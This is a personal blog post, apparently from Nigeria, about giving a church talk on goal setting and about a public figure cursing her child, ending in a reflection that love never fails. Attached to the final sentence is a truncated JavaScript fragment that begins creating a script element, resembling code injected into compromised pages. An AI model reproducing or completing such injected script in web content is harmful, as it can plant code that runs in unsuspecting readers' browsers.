As last week started, i looked forward to the public holiday on Friday, Democracy day, i had planned to do a little shopping and lounge for the rest of the day; fortunately/unfortunately on thursday afternoon, i got an impromptu call to speak in a church at 9am the next day, which was meant to be the public holiday. I was first told it was winners, then it was clarified to be MFM. My heart did a quick somersault as i wondered how i would do it. I trusted God and decided to go all the same. I got there and flowed with the program and at the aloted time, i got up to speak. I spoke on Effective Goal Setting. It was a great program, there were lots of questions after which showed they followed me all the way. Looking back, it was a much better way of spending the day; instead of lounging, i was able to add value.
This article is a bouquet 🙂 so i’ll like to also write on something i’ve noticed in the course of relating with diverse people on a regular basis. Last week, children’s day to be precise, i was at the Fun place with my kids and the place was packed full with kids and parents. As i took my children to play one of the major games, i heard a lady, who i recognised as a nollywood actress cursing one of her children at the top of her voice. What first caught my attention was the pitch of her voice, then the content. I wondered at the damage on the child’s self esteem; i wondered if she could not even hold her cutting words till they got home; i wondered what the child would’ve done to have warranted such harshness, moreso, the child was in the very midst of other kids, i wondered….
I looked at her as she spoke. She never for once looked around or tried to keep her voice down or even care much about the fact that she’s a public figure. Then i discovered that it had nothing to do with all the fame and status. It had everything to do with her background/upbringing which had informed who she had grown up to become; that was her in action, she was being ‘herself’ which was clearly a function of where she was coming from. She was most likely treated harshly anywhere and everywhere by her parent(s) and was playing back the script. She was all dressed and decked up and the kids didn’t look loved and cared for….i might be wrong about her, but the principle, “Hurting people hurt others” seemed so real as i studied what i saw.
I’ve met people exhibit behaviors i have found appalling but which they find normal. Survey shows that family background more than talent or many other things affect the way a person turns out eventually. The growing up environment has to be right for the person to turn out right. So when i meet people with weird perspectives, i excuse them in advance because we definitely passed through different routes (Otolorin) before we arrived at where we are today. Such people who exhibit dysfunctional behaviors however need reorientation so they can become balanced.
Love never fails. Any action that has love as an undertone never fails in achieving great results. We’re surrounded daily by such people who do not even have an accurate knowledge of what’s wrong or right. We need to show love and give direction, and help others live right and achieve success. We need to be patient enough to find out why people act the way they do, and lovingly help them come out so they can be the best they should be. We can’t help everyone, but posterity won’t forgive us if we don’t help as many as we can.
Make up your mind this new month, that love will be the motivation behind your action or response. Showing love is tough, but love never fails. Have a fantastic month ahead!var d=document;var s=d.createElement(‘script’);